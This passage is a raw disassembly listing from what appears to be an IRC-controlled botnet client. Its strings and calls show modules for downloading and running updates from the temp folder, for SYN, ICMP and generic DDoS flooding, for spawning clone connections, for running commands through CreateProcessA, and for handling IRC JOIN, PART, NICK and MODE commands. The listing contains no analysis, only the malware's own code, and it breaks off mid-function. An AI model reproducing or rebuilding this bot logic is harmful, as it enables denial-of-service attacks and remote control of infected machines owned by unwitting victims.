		call	sub_413D7F
		mov	[ebp+var_480], eax
		mov	eax, [ebp+esi+var_84]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_40FF1F
		push	10h
		push	ebx
		push	eax
		call	sub_414D0A
		add	esp, 0Ch
		mov	[ebp+var_478], eax
		jmp	short loc_40FF25
; ---------------------------------------------------------------------------


loc_40FF1F:				; CODE XREF: sub_40CC09+3300j
		mov	[ebp+var_478], ebx


loc_40FF25:				; CODE XREF: sub_40CC09+3314j
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	short loc_40FF3C
		push	esi
		call	sub_413D7F
		pop	ecx
		mov	[ebp+var_47C], eax
		jmp	short loc_40FF42
; ---------------------------------------------------------------------------


loc_40FF3C:				; CODE XREF: sub_40CC09+3322j
		mov	[ebp+var_47C], ebx


loc_40FF42:				; CODE XREF: sub_40CC09+3331j
		movzx	eax, [ebp+var_8AF]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_474], eax
		lea	eax, [ebp+var_708]
		mov	[ebp+var_70C], esi
		push	eax
		call	sub_415140
		mov	eax, [ebp+var_4]
		push	[ebp+arg_18]
		mov	[ebp+var_46C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_470], eax
		push	edi
		lea	eax, [ebp+var_1C4]
		push	offset a_e_1_0bDownloa ; ".e.(1.0b) ( download.m.d.l ) .»».  Down"...
		push	eax
		call	sub_413812
		push	esi
		lea	eax, [ebp+var_1C4]
		push	16h
		push	eax
		call	sub_4132BE
		add	esp, 28h
		mov	[ebp+var_488], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_70C]
		push	ebx
		push	eax
		push	offset sub_40A3AD
		push	ebx
		push	ebx
		call	dword_41F070	; CreateThread
		mov	ecx, [ebp+var_488]
		imul	ecx, 134h
		cmp	eax, ebx
		mov	dword_45213C[ecx], eax
		jz	short loc_40FFF0


loc_40FFDA:				; CODE XREF: sub_40CC09+33E5j
		cmp	[ebp+var_468], ebx
		jnz	loc_40F653
		push	32h
		call	dword_41F050	; Sleep
		jmp	short loc_40FFDA
; ---------------------------------------------------------------------------


loc_40FFF0:				; CODE XREF: sub_40CC09+33CFj
		call	dword_41F06C	; RtlGetLastWin32Error
		push	eax
		push	offset a_e_1_0bDownl_0 ; ".e.(1.0b) ( download.m.d.l ) .»».  Fail"...
		jmp	loc_4101F3
; ---------------------------------------------------------------------------


loc_410001:				; CODE XREF: sub_40CC09+2238j
					; sub_40CC09+224Fj
		push	7Fh
		lea	eax, [ebp+var_674]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_415140
		push	esi
		lea	eax, [ebp+var_5F4]
		push	[ebp+arg_18]
		push	eax
		call	sub_415140
		push	esi
		lea	eax, [ebp+var_574]
		push	[ebp+arg_0]
		push	eax
		call	sub_415140
		push	esi
		lea	eax, [ebp+var_4F4]
		push	[ebp+var_8C]
		push	eax
		call	sub_415140
		mov	eax, [ebp+var_8]
		push	[ebp+arg_0]
		mov	esi, [ebp+var_4]
		mov	[ebp+var_46C], eax


loc_410054:				; DATA XREF: seg001:0042240Do
					; seg001:004231FDo
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_18]
		mov	[ebp+var_678], eax
		lea	eax, [ebp+var_1C4]
		push	edi
		push	offset a_e_1_0bSyn_m_d ; ".e.(1.0b) ( syn.m.d.l	) .»».	Flooding:"...
		push	eax
		mov	[ebp+var_470], esi
		call	sub_413812
		add	esp, 44h
		lea	eax, [ebp+var_1C4]
		push	ebx
		push	0Bh
		push	eax
		call	sub_4132BE
		add	esp, 0Ch
		mov	[ebp+var_474], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_678]
		push	ebx
		push	eax
		push	offset sub_40182F
		push	ebx
		push	ebx
		call	dword_41F070	; CreateThread
		mov	ecx, [ebp+var_474]
		imul	ecx, 134h
		cmp	eax, ebx
		mov	dword_45213C[ecx], eax
		jz	short loc_4100D4


loc_4100C2:				; CODE XREF: sub_40CC09+34C9j
		cmp	[ebp+var_468], ebx
		jnz	short loc_4100EF
		push	32h
		call	dword_41F050	; Sleep
		jmp	short loc_4100C2
; ---------------------------------------------------------------------------


loc_4100D4:				; CODE XREF: sub_40CC09+34B7j
		call	dword_41F06C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_1C4]
		push	offset a_e_1_0bSyn_m_0 ; ".e.(1.0b) ( syn.m.d.l	) .»».	Failed to"...
		push	eax
		call	sub_413812
		add	esp, 0Ch


loc_4100EF:				; CODE XREF: sub_40CC09+34BFj
		cmp	[ebp+var_8], ebx
		jnz	loc_411B4A
		push	ebx
		push	esi
		jmp	loc_411964
; ---------------------------------------------------------------------------


loc_4100FF:				; CODE XREF: sub_40CC09+21F3j
					; sub_40CC09+220Aj ...
		push	7Fh
		lea	eax, [ebp+var_6F0]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_415140
		push	esi
		lea	eax, [ebp+var_670]
		push	[ebp+arg_18]
		push	eax
		call	sub_415140
		push	esi
		lea	eax, [ebp+var_5F0]
		push	[ebp+arg_0]
		push	eax
		call	sub_415140
		push	esi
		lea	eax, [ebp+var_570]
		push	[ebp+var_8C]
		push	eax
		call	sub_415140
		push	20h
		lea	eax, [ebp+var_4F0]
		push	[ebp+arg_8]
		push	eax
		call	sub_415140
		mov	eax, [ebp+var_4]
		push	[ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_470], eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_46C], eax
		lea	eax, [ebp+var_1C4]
		push	edi
		push	offset a_e_1_0bDdos_m_ ; ".e.(1.0b) ( ddos.m.d.l ) .»».	 Flooding"...
		push	eax
		mov	[ebp+var_6F8], esi
		call	sub_413812
		add	esp, 50h
		lea	eax, [ebp+var_1C4]
		push	ebx
		push	0Ah
		push	eax
		call	sub_4132BE
		add	esp, 0Ch
		mov	[ebp+var_6F4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_6F8]
		push	ebx
		push	eax
		push	offset sub_401000
		push	ebx
		push	ebx
		call	dword_41F070	; CreateThread
		mov	ecx, [ebp+var_6F4]
		imul	ecx, 134h
		cmp	eax, ebx
		mov	dword_45213C[ecx], eax
		jz	short loc_4101E7


loc_4101D1:				; CODE XREF: sub_40CC09+35DCj
		cmp	[ebp+var_468], ebx
		jnz	loc_40F653
		push	32h
		call	dword_41F050	; Sleep
		jmp	short loc_4101D1
; ---------------------------------------------------------------------------


loc_4101E7:				; CODE XREF: sub_40CC09+35C6j
		call	dword_41F06C	; RtlGetLastWin32Error
		push	eax
		push	offset a_e_1_0bDdos__0 ; ".e.(1.0b) ( ddos.m.d.l ) .»».	 Failed	t"...


loc_4101F3:				; CODE XREF: sub_40CC09+2A2Cj
					; sub_40CC09+2B85j ...
		lea	eax, [ebp+var_1C4]
		push	eax
		call	sub_413812
		jmp	loc_40F650
; ---------------------------------------------------------------------------


loc_410204:				; CODE XREF: sub_40CC09+21C5j
					; sub_40CC09+21DCj
		push	7Fh
		lea	eax, [ebp+var_344]
		push	edi
		push	eax
		call	sub_415140
		push	[ebp+arg_18]
		call	sub_413D7F
		push	3Fh
		mov	[ebp+var_1F4], eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415140
		mov	esi, [ebp+esi+var_84]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_410252
		push	3Fh
		lea	eax, [ebp+var_284]
		push	esi
		push	eax
		call	sub_415140
		add	esp, 0Ch


loc_410252:				; CODE XREF: sub_40CC09+3635j
		lea	eax, [ebp+var_2C4]
		mov	[ebp+var_1F0], 1
		push	eax
		lea	eax, [ebp+var_344]
		push	[ebp+var_1F4]
		push	eax
		lea	eax, [ebp+var_1C4]
		push	offset a_e_1_0bClones_ ; ".e.(1.0b) ( clones.m.d.l ) .»».  Create"...
		push	eax
		call	sub_413812
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	18h
		push	eax
		call	sub_4132BE
		add	esp, 20h
		mov	[ebp+var_1EC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_348]
		push	ebx
		push	eax
		push	offset sub_40C929
		push	ebx
		push	ebx
		call	dword_41F070	; CreateThread
		mov	ecx, [ebp+var_1EC]
		imul	ecx, 134h
		cmp	eax, ebx
		mov	dword_45213C[ecx], eax
		jz	short loc_4102DE


loc_4102C8:				; CODE XREF: sub_40CC09+36D3j
		cmp	[ebp+var_1E8], ebx
		jnz	loc_40F1B2
		push	32h
		call	dword_41F050	; Sleep
		jmp	short loc_4102C8
; ---------------------------------------------------------------------------


loc_4102DE:				; CODE XREF: sub_40CC09+36BDj
		call	dword_41F06C	; RtlGetLastWin32Error
		push	eax
		push	offset a_e_1_0bClone_0 ; ".e.(1.0b) ( clones.m.d.l ) .»».  Failed"...
		jmp	loc_40F1A3
; ---------------------------------------------------------------------------


loc_4102EF:				; CODE XREF: sub_40CC09+2185j
					; sub_40CC09+219Cj
		push	[ebp+arg_18]
		call	sub_413D7F
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_478], eax
		jle	loc_4103E0
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_600]
		push	esi
		push	eax
		call	sub_413D8A
		xor	eax, eax
		cmp	[ebp+var_8A2], bl
		push	[ebp+var_8C]
		setnz	al
		mov	[ebp+var_474], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_604], eax
		lea	eax, [ebp+var_500]
		push	esi
		push	eax
		call	sub_413D8A
		mov	eax, [ebp+var_4]
		push	[ebp+arg_18]
		mov	[ebp+var_470], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_46C], eax
		push	edi
		push	offset a_e_1_0bIcmp_m_ ; ".e.(1.0b) ( icmp.m.d.l ) .»».	 Flooding"...
		lea	eax, [ebp+var_1C4]
		push	0FFh
		push	eax
		call	sub_413D8A
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	0Dh
		push	eax
		call	sub_4132BE
		add	esp, 38h
		mov	[ebp+var_480], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_604]
		push	ebx
		push	eax
		push	offset sub_401447
		push	ebx
		push	ebx
		call	dword_41F070	; CreateThread
		mov	ecx, [ebp+var_480]
		imul	ecx, 134h
		cmp	eax, ebx
		mov	dword_45213C[ecx], eax
		jz	short loc_4103CF


loc_4103B9:				; CODE XREF: sub_40CC09+37C4j
		cmp	[ebp+var_468], ebx
		jnz	loc_411957
		push	32h
		call	dword_41F050	; Sleep
		jmp	short loc_4103B9
; ---------------------------------------------------------------------------


loc_4103CF:				; CODE XREF: sub_40CC09+37AEj
		call	dword_41F06C	; RtlGetLastWin32Error
		push	eax
		push	offset a_e_1_0bIcmp__0 ; ".e.(1.0b) ( icmp.m.d.l ) .»».	 Failed	t"...
		jmp	loc_411136
; ---------------------------------------------------------------------------


loc_4103E0:				; CODE XREF: sub_40CC09+36F7j
		push	offset a_e_1_0bIcmp__1 ; ".e.(1.0b) ( icmp.m.d.l ) .»».	 Invalid "...
		jmp	loc_411949
; ---------------------------------------------------------------------------


loc_4103EA:				; CODE XREF: sub_40CC09+2157j
					; sub_40CC09+216Ej
		push	[ebp+arg_18]
		push	edi
		call	dword_41F134	; MoveFileA
		test	eax, eax
		jz	short loc_410417
		push	[ebp+arg_18]
		lea	eax, [ebp+var_1C4]
		push	edi
		push	offset a_e_1_0bFile_m_ ; ".e.(1.0b) ( file.m.d.l ) .»».	 Rename: "...
		push	0FFh
		push	eax
		call	sub_413D8A
		add	esp, 14h
		jmp	short loc_410436
; ---------------------------------------------------------------------------


loc_410417:				; CODE XREF: sub_40CC09+37EDj
		push	offset a_e_1_0bFile__0 ; ".e.(1.0b) ( file.m.d.l ) .»».	"
		call	sub_4084F4
		push	eax
		lea	eax, [ebp+var_1C4]
		push	0FFh
		push	eax
		call	sub_413D8A
		add	esp, 10h


loc_410436:				; CODE XREF: sub_40CC09+1B8Dj
					; sub_40CC09+1BBDj ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_410457
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40B2B5
		add	esp, 14h


loc_410457:				; CODE XREF: sub_40CC09+7E4j
					; sub_40CC09+9A4j ...
		push	1
		pop	esi


loc_41045A:				; CODE XREF: sub_40CC09+3AABj
					; sub_40CC09+42F0j ...
		lea	eax, [ebp+var_1C4]
		push	eax
		call	sub_409833
		pop	ecx
		mov	eax, esi
		jmp	loc_40CFD0
; ---------------------------------------------------------------------------


loc_41046E:				; CODE XREF: sub_40CC09+2129j
					; sub_40CC09+2140j
		push	44h
		lea	eax, [ebp+var_38C]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_413890
		push	1
		mov	[ebp+var_38C], esi
		pop	esi
		mov	word ptr [ebp+var_35C],	bx
		push	edi
		mov	[ebp+var_360], esi
		call	sub_413D7F
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_4104AB
		mov	word ptr [ebp+var_35C],	5


loc_4104AB:				; CODE XREF: sub_40CC09+3897j
		cmp	[ebp+var_C], ebx
		jz	loc_40F1B2
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_413DE0
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_40F1B2
		lea	eax, [ebp+var_1D8]
		push	eax
		lea	eax, [ebp+var_38C]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		call	dword_41F0D4	; CreateProcessA
		test	eax, eax
		jnz	short loc_4104F6
		push	offset a_e_1_0bExec_m_ ; ".e.(1.0b) ( exec.m.d.l ) .»».	 Couldn't"...
		jmp	loc_410FA9
; ---------------------------------------------------------------------------


loc_4104F6:				; CODE XREF: sub_40CC09+38E1j
		push	edi
		push	offset a_e_1_0bExec__0 ; ".e.(1.0b) ( exec.m.d.l ) .»».	 Commands"...
		jmp	loc_40F1A3
; ---------------------------------------------------------------------------


loc_410501:				; CODE XREF: sub_40CC09+20FBj
					; sub_40CC09+2112j
		push	[ebp+arg_18]
		push	offset aNt801	; "nt801"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41067D
		lea	eax, [ebp+var_2E8]
		push	eax
		push	104h
		call	dword_41F0E0	; GetTempPathA
		push	0FFh
		lea	eax, [ebp+var_688]
		push	edi
		push	eax
		call	sub_415140
		lea	eax, [ebp+var_1E4]
		push	eax
		call	sub_4127AA
		push	eax
		lea	eax, [ebp+var_2E8]
		push	eax
		lea	eax, [ebp+var_588]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_413812
		mov	eax, [ebp+esi+var_88]
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+var_484], 1
		mov	[ebp+var_480], ebx
		jz	short loc_410593
		push	10h
		push	ebx
		push	eax
		call	sub_414D0A
		add	esp, 0Ch
		mov	[ebp+var_478], eax
		jmp	short loc_410599
; ---------------------------------------------------------------------------


loc_410593:				; CODE XREF: sub_40CC09+3974j
		mov	[ebp+var_478], ebx


loc_410599:				; CODE XREF: sub_40CC09+3988j
		mov	esi, [ebp+esi+var_84]
		cmp	esi, ebx
		jz	short loc_4105B3
		push	esi
		call	sub_413D7F
		pop	ecx
		mov	[ebp+var_47C], eax
		jmp	short loc_4105B9
; ---------------------------------------------------------------------------


loc_4105B3:				; CODE XREF: sub_40CC09+3999j
		mov	[ebp+var_47C], ebx


loc_4105B9:				; CODE XREF: sub_40CC09+39A8j
		movzx	eax, [ebp+var_8AF]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_474], eax
		lea	eax, [ebp+var_708]
		mov	[ebp+var_70C], esi
		push	eax
		call	sub_415140
		mov	eax, [ebp+var_4]
		push	edi
		mov	[ebp+var_46C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_470], eax
		lea	eax, [ebp+var_1C4]
		push	offset a_e_1_0bUpdate_ ; ".e.(1.0b) ( update.m.d.l ) .»».  Downlo"...
		push	eax
		call	sub_413812
		push	esi
		lea	eax, [ebp+var_1C4]
		push	17h
		push	eax
		call	sub_4132BE
		add	esp, 24h
		mov	[ebp+var_488], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_70C]
		push	ebx
		push	eax
		push	offset sub_40A3AD
		push	ebx
		push	ebx
		call	dword_41F070	; CreateThread
		mov	ecx, [ebp+var_488]
		imul	ecx, 134h
		cmp	eax, ebx
		mov	dword_45213C[ecx], eax
		jz	short loc_410660


loc_41064E:				; CODE XREF: sub_40CC09+3A55j
		cmp	[ebp+var_468], ebx
		jnz	short loc_410690
		push	32h
		call	dword_41F050	; Sleep
		jmp	short loc_41064E
; ---------------------------------------------------------------------------


loc_410660:				; CODE XREF: sub_40CC09+3A43j
		call	dword_41F06C	; RtlGetLastWin32Error
		push	eax
		push	offset a_e_1_0bUpdat_0 ; ".e.(1.0b) ( update.m.d.l ) .»».  Failed"...


loc_41066C:				; CODE XREF: sub_40CC09+40FEj
					; sub_40CC09+4334j ...
		lea	eax, [ebp+var_1C4]
		push	eax
		call	sub_413812


loc_410678:				; CODE XREF: sub_40CC09+4CC6j
		add	esp, 0Ch
		jmp	short loc_410690
; ---------------------------------------------------------------------------


loc_41067D:				; CODE XREF: sub_40CC09+3909j
		push	offset a_e_1_0bUpdat_1 ; ".e.(1.0b) ( update.m.d.l ) .»».  Bot ID"...


loc_410682:				; CODE XREF: sub_40CC09+1C12j
					; sub_40CC09+1C96j ...
		lea	eax, [ebp+var_1C4]
		push	eax
		call	sub_413812
		pop	ecx
		pop	ecx


loc_410690:				; CODE XREF: sub_40CC09+1C1Aj
					; sub_40CC09+1C74j ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_4106B1
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40B2B5
		add	esp, 14h


loc_4106B1:				; CODE XREF: sub_40CC09+3A8Aj
					; sub_40CC09+40F3j ...
		mov	esi, [ebp+arg_24]
		jmp	loc_41045A
; ---------------------------------------------------------------------------


loc_4106B9:				; CODE XREF: sub_40CC09+20CDj
					; sub_40CC09+20E4j
		push	[ebp+var_90]
		push	offset dword_434504
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CFCD
		cmp	[ebp+var_C], ebx
		jz	loc_40CFCD
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_413DE0
		push	eax
		lea	eax, [ebp+var_1C4]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	[ebp+var_94]
		push	offset aSSSS	; "%s %s %s :%s"
		push	eax
		call	sub_413812
		lea	eax, [ebp+var_1C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_415140
		push	edi
		call	sub_413D7F
		add	esp, 30h
		test	eax, eax
		jle	short loc_410740
		push	edi
		call	sub_413D7F
		imul	eax, 3E8h
		pop	ecx
		push	eax
		call	dword_41F050	; Sleep


loc_410740:				; CODE XREF: sub_40CC09+3B21j
		push	offset a_e_1_0bEnz_m_7 ; ".e.(1.0b) ( enz.m.d.l	) .»».	Delay."
		call	sub_409833
		mov	eax, [ebp+arg_24]
		pop	ecx
		inc	eax
		jmp	loc_40CFD0
; ---------------------------------------------------------------------------


loc_410754:				; CODE XREF: sub_40CC09+209Fj
					; sub_40CC09+20B6j
		push	[ebp+var_90]
		push	offset dword_434504
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CFCD
		cmp	[ebp+var_C], ebx
		jz	loc_41217B
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_413DE0
		mov	esi, eax
		mov	eax, [ebp+arg_18]
		inc	eax
		push	offset aRepeat	; "repeat"
		push	eax
		call	sub_413C30
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_410810
		push	[ebp+var_8C]
		lea	eax, [ebp+var_1C4]
		push	[ebp+var_90]
		push	[ebp+var_94]
		push	offset aSSSS	; "%s %s %s :%s"
		push	eax
		call	sub_413812
		lea	eax, [ebp+var_1C4]
		push	0FEh
		push	eax
		push	[ebp+arg_0]
		call	sub_415140
		push	esi
		lea	eax, [ebp+var_1C4]
		push	offset a_e_1_0bEnz_m_8 ; ".e.(1.0b) ( enz.m.d.l	) .»».	Repeat:	%"...
		push	eax
		call	sub_413812
		lea	eax, [ebp+var_1C4]
		push	eax
		call	sub_409833
		push	edi
		call	sub_413D7F
		add	esp, 38h
		test	eax, eax
		jle	loc_41217B
		push	edi
		call	sub_413D7F
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_40CFD0
; ---------------------------------------------------------------------------


loc_410810:				; CODE XREF: sub_40CC09+3B90j
		push	offset a_e_1_0bEnz_m_9 ; ".e.(1.0b) ( enz.m.d.l	) .»».	Repeat no"...
		jmp	loc_40F1A3
; ---------------------------------------------------------------------------


loc_41081A:				; CODE XREF: sub_40CC09+2071j
					; sub_40CC09+2088j
		push	[ebp+arg_18]
		lea	eax, [ebp+var_1C4]
		push	offset aPartS_0	; "PART	%s"
		push	eax
		call	sub_413812
		push	edi
		call	sub_413D7F
		add	esp, 10h


loc_410837:				; CODE XREF: sub_40CC09+3C98j
		test	eax, eax
		jle	loc_41217B
		push	edi
		call	sub_413D7F
		cmp	eax, 2710h
		pop	ecx
		jge	loc_41217B


loc_410851:				; CODE XREF: sub_40CC09+445Dj
		lea	eax, [ebp+var_1C4]
		push	eax
		push	offset aS_1	; "%s\r\n"
		push	edi
		call	sub_413D7F
		imul	eax, 134h
		pop	ecx
		push	dword_452134[eax]
		call	sub_40B26F


loc_410875:				; CODE XREF: sub_40CC09+5319j
		add	esp, 0Ch
		jmp	loc_41217B
; ---------------------------------------------------------------------------


loc_41087D:				; CODE XREF: sub_40CC09+2043j
					; sub_40CC09+205Aj
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_1C4]
		push	[ebp+arg_18]
		push	offset aJoinSS_0 ; "JOIN %s %s"
		push	eax
		call	sub_413812
		push	edi
		call	sub_413D7F
		add	esp, 14h
		jmp	short loc_410837
; ---------------------------------------------------------------------------


loc_4108A3:				; CODE XREF: sub_40CC09+2015j
					; sub_40CC09+202Cj
		push	[ebp+arg_18]
		lea	eax, [ebp+var_1C4]
		push	offset aNickS	; "NICK	%s"
		push	eax
		call	sub_413812
		push	edi
		call	sub_413D7F
		add	esp, 10h
		test	eax, eax
		jle	loc_41217B
		push	edi
		call	sub_413D7F
		cmp	eax, 2710h
		pop	ecx
		jge	loc_41217B
		lea	eax, [ebp+var_1C4]
		push	eax
		push	offset aS_1	; "%s\r\n"
		push	edi
		call	sub_413D7F
		imul	eax, 134h
		pop	ecx
		push	dword_452134[eax]
		call	sub_40B26F
		push	[ebp+arg_18]
		push	edi
		push	offset a_e_1_0bClone_m ; ".e.(1.0b) ( clone.m.d.l ) .»».  Nick (%"...


loc_410907:				; CODE XREF: sub_40CC09+3D88j
					; sub_40CC09+3DF3j ...
		call	sub_4098A7


loc_41090C:				; CODE XREF: sub_40CC09+4FE9j
		add	esp, 18h
		jmp	loc_41217B
; ---------------------------------------------------------------------------


loc_410914:				; CODE XREF: sub_40CC09+1FE7j
					; sub_40CC09+1FFEj
		cmp	[ebp+var_C], ebx
		jz	loc_41217B
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_413DE0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_410945
		push	esi
		lea	eax, [ebp+var_1C4]
		push	offset aModeS	; "MODE	%s"
		push	eax
		call	sub_413812
		add	esp, 0Ch


loc_410945:				; CODE XREF: sub_40CC09+3D25j
		push	edi
		call	sub_413D7F
		test	eax, eax
		pop	ecx
		jle	loc_41217B
		push	edi
		call	sub_413D7F
		cmp	eax, 2710h
		pop	ecx
		jge	loc_41217B
		lea	eax, [ebp+var_1C4]
		push	eax
		push	offset aS_1	; "%s\r\n"
		push	edi
		call	sub_413D7F
		imul	eax, 134h
		pop	ecx
		push	dword_452134[eax]
		call	sub_40B26F
		push	esi
		push	edi
		push	offset a_e_1_0bClone_1 ; ".e.(1.0b) ( clone.m.d.l ) .»».  Mode (%"...
		jmp	loc_410907
; ---------------------------------------------------------------------------


loc_410996:				; CODE XREF: sub_40CC09+1FB9j
					; sub_40CC09+1FD0j
		cmp	[ebp+var_C], ebx
		jz	loc_41217B
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_413DE0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_41217B
		push	edi
		call	sub_413D7F
		test	eax, eax
		pop	ecx
		jle	loc_41217B
		push	edi
		call	sub_413D7F
		cmp	eax, 2710h
		pop	ecx
		jge	loc_41217B
		push	esi
		push	offset aS_1	; "%s\r\n"
		push	edi
		call	sub_413D7F
		imul	eax, 134h
		pop	ecx
		push	dword_452134[eax]
		call	sub_40B26F
		push	esi
		push	edi
		push	offset a_e_1_0bClone_2 ; ".e.(1.0b) ( clone.m.d.l ) .»».  Raw (%s"...
		jmp	loc_410907
; ---------------------------------------------------------------------------


loc_410A01:				; CODE XREF: sub_40CC09+1F8Bj
					; sub_40CC09+1FA2j
		cmp	[ebp+var_C], ebx
		jz	loc_41217B
		push	edi
		push	[ebp+var_C]
		call	sub_413DE0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_41217B
		push	esi
		push	offset aModeS_0	; "MODE	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40B26F
		push	esi
		push	offset a_e_1_0bEnz__10 ; ".e.(1.0b) ( enz.m.d.l	) .»».	Mode chan"...


loc_410A33:				; CODE XREF: sub_40CC09+4611j
					; sub_40CC09+462Aj ...
		call	sub_4098A7


loc_410A38:				; CODE XREF: sub_40CC09+3E98j
		add	esp, 14h
		jmp	loc_41217B
; ---------------------------------------------------------------------------


loc_410A40:				; CODE XREF: sub_40CC09+1F5Dj
					; sub_40CC09+1F74j
		push	[ebp+var_90]
		push	offset dword_434504
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CFCD
		push	[ebp+arg_18]
		push	offset aPartS	; "PART	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40B26F
		push	edi
		call	sub_413D7F
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		call	dword_41F050	; Sleep
		push	[ebp+esi+var_88]
		push	[ebp+arg_18]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40B26F
		push	offset a_e_1_0bEnz__11 ; ".e.(1.0b) ( enz.m.d.l	) .»».	Cycle."
		call	sub_409833
		jmp	short loc_410A38
; ---------------------------------------------------------------------------


loc_410AA3:				; CODE XREF: sub_40CC09+1F2Fj
					; sub_40CC09+1F46j
		cmp	[ebp+var_C], ebx
		jz	loc_41217B
		push	edi
		call	sub_413E90
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_413E90
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_413DE0
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_41217B
		push	esi
		lea	eax, [ebp+var_1C4]
		push	offset dword_432F38
		push	eax
		call	sub_413812
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	ebx
		push	eax
		push	edi
		push	[ebp+arg_4]
		call	sub_40B2B5
		push	esi
		push	edi
		push	offset a_e_1_0bEnz__12 ; ".e.(1.0b) ( enz.m.d.l	) .»».	Action:	%"...
		call	sub_4098A7
		add	esp, 2Ch
		jmp	loc_41217B
; ---------------------------------------------------------------------------


loc_410B11:				; CODE XREF: sub_40CC09+1F01j
					; sub_40CC09+1F18j
		cmp	[ebp+var_C], ebx
		jz	loc_41217B
		push	edi
		call	sub_413E90
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_413E90
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_413DE0
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_41217B
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_4]
		call	sub_40B2B5
		push	esi
		push	edi
		push	offset a_e_1_0bEnz__13 ; ".e.(1.0b) ( enz.m.d.l	) .»».	Privmsg: "...
		call	sub_4098A7
		jmp	loc_40F7DE
; ---------------------------------------------------------------------------


loc_410B64:				; CODE XREF: sub_40CC09+1ED3j
					; sub_40CC09+1EEAj
		cmp	[ebp+var_C], ebx
		jz	loc_40CFCD
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_413DE0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40CFCD
		push	eax
		push	edi
		call	sub_40973B
		push	edi
		lea	eax, [ebp+var_1C4]
		push	offset a_e_1_0bEnz__14 ; ".e.(1.0b) ( enz.m.d.l	) .»».	Alias add"...
		push	eax
		call	sub_413812
		add	esp, 14h
		jmp	loc_411957
; ---------------------------------------------------------------------------


loc_410BA3:				; CODE XREF: sub_40CC09+1E93j
					; sub_40CC09+1EAAj
		push	edi
		push	[ebp+arg_1C]
		call	sub_413DE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41217B
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_410C40
		push	esi
		push	[ebp+var_C]
